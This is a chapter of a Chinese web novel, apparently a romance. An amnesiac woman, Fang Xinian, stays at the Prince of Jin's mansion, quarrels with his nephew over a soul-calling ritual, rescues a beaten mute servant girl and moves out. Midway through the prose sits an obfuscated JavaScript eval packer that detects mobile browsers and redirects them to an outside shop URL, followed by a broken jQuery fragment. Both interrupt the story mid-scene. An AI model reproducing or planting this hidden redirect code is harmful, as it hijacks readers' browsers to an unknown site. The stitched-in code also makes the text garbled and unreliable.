姑衍烬胳膊从房惜念手里抽出来,面无表情地大步离开,速度很快。
房惜念不明思议,提着裙子小跑起来,三四步顶上他的一步,气喘吁吁的拉住他衣袍,见他黑着脸一副难言的样子,她噗嗤笑起来。
姑衍烬脚步放慢,抬手拽住她的后领,从身边拉开一定距离:“闭嘴,我不想听你聒噪。”
别看房惜念现在对他笑眯眯,小叔长小叔短,还跟个小黄狗似的走哪跟哪,但怕他这件事一样不少,被拉开距离后,房惜念没敢继续放肆。
房惜念想想也是,毕竟男女有别,虽然她现在把烬王当小叔,某种意义上也算是亲人好友,脱衣上药确实不太合适。她跟在姑衍烬身边,左右看他又一副拒人千里之外的态度,负着手走在他身后。
“那好吧,小叔,我听宋兄说你心情不好,你可以告诉我,为什么会心情不好?”
姑衍烬脚步一顿,脸色微沉:“宋跃还跟你说什么?”
房惜念意识到自己好像把宋跃给卖了,心跳打鼓,她睁着眼睛盯着他看,一本正经的摇头:“没有,是我看小叔心情不好,跑去问宋兄,宋兄被我缠得不行,就嗯了声。”
姑衍烬微眯眼睛:“你缠着他?你和他的关系,什么时候变得那么好。”
房惜念弯下眉眼,他走一步,自己走上两步,歪着毛茸茸的脑袋说:“是我缠的他,小叔要生气就跟我生气,但你别忘记了你答应过我,不能凶我的。”
“我和宋兄的关系,从哪里说起呢,简单来说,他救过我,我请他吃饭,两人相处很融洽,就成了朋友。”
姑衍烬:“......朋友?”
“对啊,小叔你会介意吗?”
二人走到落梅阁,姑衍烬停在内室屏扇外,回头看她还要继续跟的意思,歪了下脑袋,看眼里面的换衣室,对她挑眉。
“我要更衣,你确定要跟着一起?”
房惜念停住脚,往后退上好些步,背对过去:“不了小叔,我很高兴你不介意我和宋兄做朋友。”
“你认为和他是朋友,那你问过他,他想和你做朋友?”姑衍烬走进换衣室,隔着门拉小他的声调,像埋在梅花树底下的醇酒,极有味道很是好听。
房惜念倒是没有问过,想到宋跃那张不耐烦的臭脸,估计问了也是不同意的,不过她看出来,宋兄对她还是很好的,只不过嘴硬罢了,她探头去看里面的换衣室,忍不住想,那姑衍烬是不是也是嘴硬心软。
可是昨日,他拒绝帮自己找负心汉,其实拒绝找负心汉她能理解,这不没名没姓还不知道地址,说出来确实招笑,可是她的家人呢,她来长安城也很长一段时间,也没听谁要找女儿。
或许,她的家人不住在长安城,也许在别的地方找她,只是她不知道而已。
想到这,低落的心情瞬间开朗,介时里面的换衣室门打开,换下一身官袍的姑衍烬套上浅青衫袍,交襟贴合胸膛往右下收紧,腰间束紧系带,随意中透出几分温润感。
房惜念见那抹长身玉立的身影从换衣室走过屏扇后,再从山水飞鸟花纹屏扇后走出来,入眼是他那深邃不掩张扬的俊脸,几乎意识到她的眼神,他脚步一顿。
她回过神,耳根瞬间发热,这么直勾勾盯着一个男子看,不太合礼数,何况她还叫他小叔。
简直昏了脑袋。
姑衍烬先开口,打破这一秒的尴尬:“还有事?没事就出去。”
房惜念本想跟他一同吃饭,但想到小哑巴,还有姑衍烬定是拒绝,想想就算啦。
她和姑衍烬你看我看你的对视中,慢慢退出落梅阁,这不还没走上几步,就听见外头传来嘈杂声。
路过的侍女们同时露出惊慌神色,好像发生什么大事,连同房惜念都这么认为,她随着声音寻过去,就听见熟悉的声音在叽里呱啦。
姑承允眼睛特别尖,一眼就看见从后院冒出来的小身影,过去把人拉出来,他身后跟着几位着身道袍的道友,同他站在一起的较年长,摸着白胡子,身材不算高很瘦。
道师看房惜念一眼,问姑承允:“这就是你说的那位需要叫魂的女福子?”
房惜念没想到姑承允还真叫人来了,薄袖底下的手偷偷去扯他的衣袖:“误会,都是误会,我不需要叫魂.....”
“怎么不需要啊惜念!”姑承允用手指指向自己的脸,在摸向自己的胸口,面上委屈:“你都嫌我烦了,肯定是吓掉魂了才会觉得我烦。”
房惜念看他嚎得好大声,眼看着他眼泪溢出来,她慌乱无措,忙着安抚他:“好好好,那就按照你说的办,别哭。”
姑承允抹掉眼泪,略开嘴笑,转头向曾裕请示:“道师长,准备准备给我...朋友叫魂。”
房惜念好想挖个洞把自己埋起来,眼瞅着周围陆陆续续有仆役停留观望,她稍稍偏过脑袋,避开那些人的视线,却对上曾裕的眼睛,他眼睛闪过金光,一瞬间恢复如常,对她摇头。
姑承允吓坏了:“怎么回事,是没得救了吗!”
曾裕摇头:“非也。”
房惜念心生疑惑,继续看着曾裕,曾裕却不再看她,总觉得这位道师长好像知道她的身世,或者是他看出什么来,她收回目光,被姑承允拉着走。
介时姑衍烬闻声过来,见姑承允浩浩荡荡带道庙等人过来,他不动声色的蹙眉。
姑承允怕他生气,在他开口之前解释,说明来意,他知道小叔的脾气,若是招惹他不快,没有合理的解释,他绝对逃不过挨打。
小叔不喜欢这些神神叨叨的事情,但知道是为叔母好后,便没说什么,摆手随他去。
姑承允就知道,小叔心里是有叔母的。
一场仪式下来不用多久,不到半烛香便结束,曾裕等人准备回去,房惜念安耐不住地跟过去,想问些什么却无从问起,曾裕见她如此困惑,面容和蔼。
“前尘忘却,并非坏事,你心中困惑日后君便知。”
一句话听得房惜念稀里糊涂的,等人让姑承允辞别,姑承允从门口小跑过来,左看她没事右看她也没事,看看手看看腿什么的,被房惜念一个手指摁退回去。
“惜念你在想什么。”
房惜念心中复杂:“我在想道师长说的什么意思,他说我失忆不是坏事,还说困惑日后便知。”
姑承允打个响指:“我知道了,一定是要你不要想太多,一切都会有答案的。”
虽然姑承允说的有道理,但她不想等。
她想要找到家人,还想知道负心人是谁,说不定找到负心汉,受点刺激她就恢复记忆了。
房惜念越过姑承允的身体,放眼望向站在不远处的长廊内,姑衍烬长身玉立,一身如晴空碧水的衣袍,随风卷波摆动,抬首望向这边,隔空与她对视,莫名的,胸口处泛起涟漪熟悉感。
她拉过姑承允的胳膊,两人说起悄悄话:“上回我看见有个姑娘来找小叔,还特意熬了汤,好像叫何玉兰,和小叔什么关系?”
姑承允警铃大作:“惜念你别误会,她是我祖母的表亲外甥女,和我小叔没关系,她就是爱慕我的小叔,我小叔一点儿不喜欢她,真的。”
房惜念看他反应好强烈,闷声哦了声:“那不一定,我怎么瞧着,她和小叔有点内幕。”
“什么内幕!绝对没有内幕!惜念你千万千万不要乱猜啊,她倒追我小叔好几年,我小叔一直在拒绝。”
说着说着,姑承允举起手来发誓:“我敢保证,我小叔,没有答应她。”
房惜念看眼他的手势,再看他急得冒出汗,眼神狐疑,随即捂笑起来:“我就是随口问问,你看起来好激动,我误不误会,其实也没关系?”
“怎么没关系,那可是大有关系。”姑承允撇嘴,想要说什么却憋在心里的苦样子。
“有什么关系?”房惜念反问他。
姑承允欲说不说,看着她张了张嘴,嘀咕道:“你这是乱造谣,对小叔的名誉很有影响,会让他娶不到媳妇的。”
以姑衍烬身份和家世,怎会娶不到媳妇,顶多让那位何姑娘嫁进烬王府。
再说,房惜念是失忆不是真脑子不好使,哪还不知道姑承允这是让她当姑衍烬亡妻的替身,她褪去笑容,鼓着脸瞪他,侧过身去,再斜着脑袋瞪他。
姑承允不知道哪里又惹她不高兴,小声哀求:“祖宗,我没有说错啊,你要是误会他,他真没有媳妇要了。”
“骗谁呢,姑承允,你就是把我当傻子看,你还说把我当朋友,我看你就是让我当你小叔亡妻的替身。”房惜念凶他。
姑承允瞪大眼睛,愣在原地都懵了,他哀嚎:“我冤枉啊,惜念,我真心实意对你,怎么可能...呜呜”他的嘴被房惜念捂住,睁着快掉眼泪的眼睛,特别特别委屈。
他拿下房惜念的手,碎碎念:“一定是刚才魂没叫齐。”
“才不是呢,姑承允,我要和你绝交。”房惜念说完,她就要走。
姑承允哪能轻易让她走,跟在她身边,甚至走到她前头,抓耳挠腮解释:“不是啊惜念,你真误会我了。”
“你别跟着我,我现在不想看见你。”房惜念真生气了,眼睛都不带看人。
姑承允懊恼,总归他理亏惹她生气,最后没敢继续跟着她。
房惜念走上好久,回头看人影没见着,心里松口气同时闷闷的,其实姑承允真是个很好很好的朋友,如果不把她送来给姑衍烬当替身的话。
她不好动,走到一定地方,她就想坐下来歇息,她左看看右瞅瞅,对上姑衍烬的眼睛,他好像在那里站了很久,一想到刚才和姑承允对话,她不自觉把脑袋垂下去。
但想到不可能,她又把脑袋抬起来,对上姑衍烬沉默的眼睛,她展开灿烂的笑容。
她小跑过去:“小叔。”
姑衍烬眉头一皱,抬手制止她的靠近:“站在那里就好。”
房惜念没有被拒绝的懊恼,只有放下心的兴奋,得到姑衍烬‘严厉否定’她乖乖站在原地,与他保持有三米外距离。
其实吴余三人被抓,她就没有理由住在烬王府,姑衍烬安排她住在那么偏那么远的小别院,本身和她撇清关系,负在身后的手纠结拧巴,不等她想是去是留,姑衍烬比她先一步开口。
“想什么时候走?”
房惜念犹豫了,虽然姑衍烬对她很凶,没有半点对姑娘家的怜惜,但其实蛮有分寸,也懂得避嫌,或许留下来也是不错的选择,而且她还跟小哑巴交朋友,离开小哑巴,她肯定不舍得的。
在这偌大的长安,没有她的立身之地,只知道这里有个挨千刀的前夫,家人不知何处寻。
不如留下来,缠着姑衍烬,跟他多培养培养感情,等二人关系好了,他就愿意替她寻亲人了,更别说那个挨千刀的负心汉。
她说:“小叔,我能不能留下来?”
姑衍烬抬眼看她:“为什么,不怕外面闲言碎语,也不怕旁人嚼舌根?”
“怕的,不过有小叔在,这些肯定不会有。”
房惜念自信满满,他都答应让她叫小叔,和是他的侄女没区别,再说她还是他的救命恩人呢,总归不会拒绝她。
“你是我带回来配合破案,让你留下来,是会让人误解。”姑衍烬摇头,随意靠在长廊的柱沿上,对她努下巴:“流言蜚语,对你我名誉有损,你不能留下来。”
房惜念瞥他一眼,怎么一个大男人比她这小姑娘还害怕有失名誉。
姑衍烬无视她眼里的失落,继续道:“上次刺杀案,你救我一命,虽然不清楚你为何出现在现场,不过不重要,出去后我会让宋跃安排你日常所需,遇到困难你找他便是。”
房惜念听到最后,嘴角快略到耳后去了:“好的小叔。”
“上次与你说过的话还作数。”姑衍烬目光落在她逐渐狐疑的娇容,停顿片刻,低头拍拍身上没有的灰尘:“别见面。”
“为何,小叔是因为害怕名誉有损嘛?”房惜念感觉他比想象中还要在意名声。
姑衍烬看她:“对。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756153|209330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
房惜念和他对视,姑衍烬很明显地避嫌,接触她视线瞬间别过眼,就差把‘离我远点’写在表面上,她没忍住笑起来,一双像被溪水洗礼过的夜明珠闪烁着,像夜空中弯弯的月亮。
姑衍烬看向她,不解她因何而笑,面色不显:“傻子。”
傻就傻,房惜念歪着脑袋看他,见他嘴上说人,却没有让她感觉冒犯,突然有点对他不舍,她快要离开烬王府,日后她和姑衍烬很难再见面吧。
“我去跟我朋友告个别,要是朋友愿意跟我离开,小叔你会同意的吧?”房惜念想到小哑巴在府内定是过不好,如若愿意的话,她愿意带小哑巴离开。
姑衍烬动身站直,脸色微冷:“朋友,什么朋友?”
房惜念笑嘻嘻的完全没有注意到他猝然冷下去的脸,欢快的说:“是我在小别院认识的朋友,她不会说话,我想着她愿意跟我走的话,小叔会同意吗?”
姑衍烬:“我对你这些事情不感兴趣,不必征求我的意见,你跟管家说一句就可以。”
得到正主的同意,房惜念也就没有顾虑,她先回去小别院,没看到小哑巴,就寻着路过丫鬟的指引找过去,便听见隐隐传来木棍打在肉.体上的闷响,光听着就心惊肉跳。
哪有人挨打不出声的,除非是哑巴。
想到这,房惜念满脸愤怒,寻着声音找过去,跨过门院,入眼是小哑巴趴在长椅上,冷汗浸透鬓发,小脸撒白如纸,一旁手拿棍子的仆役作势还要打,她愤怒呵斥。
“住手!谁让你打她的!”
仆役吓一大跳,看向是她,眼神惊愕:“夫.....”
房惜念跑过去,一把推开仆役,蹲在小哑巴面前,检查她的伤势,看起来被打不是一时半会,她满脸心疼:“为什么要打她,她做错什么,要你欺负她。”
仆役支支吾吾的说:“她之前偷吃庖厨的饭菜,还偷懒。”
小哑巴掉眼泪,眼神里透着怯懦,怎么看都不像会偷吃偷懒的小姑娘,一个小小的仆役怎么敢污蔑手无缚鸡之力的小姑娘,她咬牙切齿。
“你看她不会说话,随便找个理由来污蔑她,然后对她下手。”
仆役被戳中心事,他脸色又白又青:“我没有,你别看她现在哭哭啼啼的,她可会装可怜卖惨。”
“是否装可怜卖惨,我不知道,我只知道你要惨了。”
房惜念真的生气了,她指着仆役别跑,她转头去找宋跃,宋跃见她气呼呼的鼓着脸,还以为谁欺负她,不等他开口询问,就被拉着去后院,指着跪在地上的仆役控诉罪行。
宋跃得知后,二话不说直接把人罚了遍,再赶出烬王府。
房惜念眼神闪烁,看得宋跃满脸僵硬,举起剑柄挡在身前,冷着脸往别处看。
她心怀感激的道谢。
宋跃抬首,表示接受了。
房惜念动身去搀扶小哑巴,但小哑巴伤势过重,宋跃提醒她不要随便乱碰,房惜念立马收回手来,只能等大夫过来诊断。
等大夫过来,已经是半烛香之后的事,好在小哑巴伤势不是很重,只是皮肉红肿青紫,上一段时日药膏便可痊愈。
得知结果,房惜念重重松口气,她拍拍胸口,走到小哑巴床前,牵起她的手,对上她含着泪光的眼睛。
“我就要离开王府了。”
手上一紧,是小哑巴着急了。
房惜念笑:“你愿意跟我离开吗?我跟小叔说过了,他说随便我,但你不愿意的话,我也不会.....”
小哑巴着急阻止她接下去的话,紧攥着她的手不放,看来是愿意跟她一同离开。
离开烬王府这天,乌云密布,本就燥热的空气逐渐些湿闷,房惜念踏上马车那一刻,鬼使神差地往后回头,为避嫌她没有走正门。
而是从小别院这方向的侧门离开,她看着里头一切如常的宁静,缓缓转过脑袋,钻进车厢。
姑衍烬站在萧墙后,待她走进车厢后,从萧墙后方站出来:“宋跃,你说一个人失忆后,还会重新喜欢同个人吗?”
宋跃看他嫌麻烦的侧脸,思索片刻,他说:“会,记忆可以骗人,但感情无解。”
戏台上都这么说,应该是这样。
门外车骄车轮轱辘,渐行渐远,宋跃面对门口消失的马车,再看向沉默一时的姑衍烬:“家主,你对房惜念不反感,她对你如此情深,为何不——”
“从假婚为初,便决定这婚真不了。”姑衍烬无所谓状,垂下蹙紧的眉:“夫妻二人不相爱,孩子出生得不到珍重,那孩子人生将会是一场灾难。”
姑衍烬抬头,朝他努下巴:“日后别让她来见我,你多照顾她便是。”
宋跃:“明白。”
马车一路朝向东市出发,房惜念看着脚边装满冰块的镶金青玉盆,桌几上摆放女儿家喜欢的甜食,以及未央城独特的果脯,窗外响起马蹄声,从后方靠近。
她伸手掀起竹帘,探出半张圆润的脸,这些时日她在烬王府吃好喝好,还不爱动,身子骨丰腴了些。
不过没人说她长胖了,她也毫不在意,看着在侧护送的骏马,坐在上头的人直视前方,对她是否在看他毫无在意,可以说相当无视。
“宋兄,刚才没看见你,你去哪里了?”
宋跃:“有点事。”
“是在安排我的去处吗,我记得你早早就去安排了,是还没有妥善嘛?”房惜念显得无聊,小哑巴又是个哑巴,她又不识字,唯一能说得上话,也就只有宋跃。
宋跃觉得,回答她的自己就是糊涂。
“如果没有妥善的话,那我们是不是要在外面住宿一晚,唔...像这种租房的话,手续方面确实有点麻烦。”房惜念说着说着,发现宋跃的脸好臭。
她捂唇一笑:“别这样嘛,我知道不用担心这些问题,像你们这些大官人,要一座院子可是分分钟的事儿。”
宋跃依然不回答她,她手肘摆在窗沿上,脑袋一耷拉:“以后真的不能见到小叔了吗?”